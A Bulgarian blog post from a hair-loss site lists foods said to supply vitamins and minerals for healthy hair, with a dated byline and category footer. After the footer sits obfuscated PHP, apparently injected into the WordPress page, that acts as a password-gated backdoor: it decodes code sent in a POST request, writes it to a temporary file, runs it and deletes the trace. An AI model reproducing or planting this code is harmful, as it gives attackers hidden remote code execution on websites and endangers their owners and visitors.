Най- подходящите храни за вашата коса | Косопад

Най- подходящите храни за вашата коса

kosa-5

Много от витамините са свързани директно със здравето на косата. Сред тях са групите В, С, Е, мастните киселини, желязо и магнезий. Къде се съдържат? Основно във въглехидратите и мазнини.

Паста, ориз, бобови култури и пълнозърнести зърнени храни са богати на витамини от В групата. Да не забравяме за зехтина, авокадото, рибата и ядките, които поддържат косата ни във форма.

Морски дарове, леща и шам-фъстък – Осигуряват големи количества желязо.

Бобови култури и морски дарове – Съдържат магнезий, който регулира кръвната захар, производството на енергия и протеини. Обикновено количеството в храните е достатъчно и не е необходимо да се приемат добавки.

gabi-supa

Гъби, чесън и фасул – Съдържат селен, който подобрява растежа на косата и ноктите.

Пълнозърнести зърнени храни – Съдържат силиций, който е много полезен за косата и ноктите.

Месо, пълнозърнести храни и ядки – богати са на витамин В.

Ядките са много полезни за косата, за да не се къса.

Жълтък и черен дроб – Съдържа биотин, който е много полезен за метаболизма на мазнините и въглехидратите.

23. януари 2016 14:24:40 от Надя Колева
Категории: Любопитно за косопада | Етикети: , , , | Напишете Коментар

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}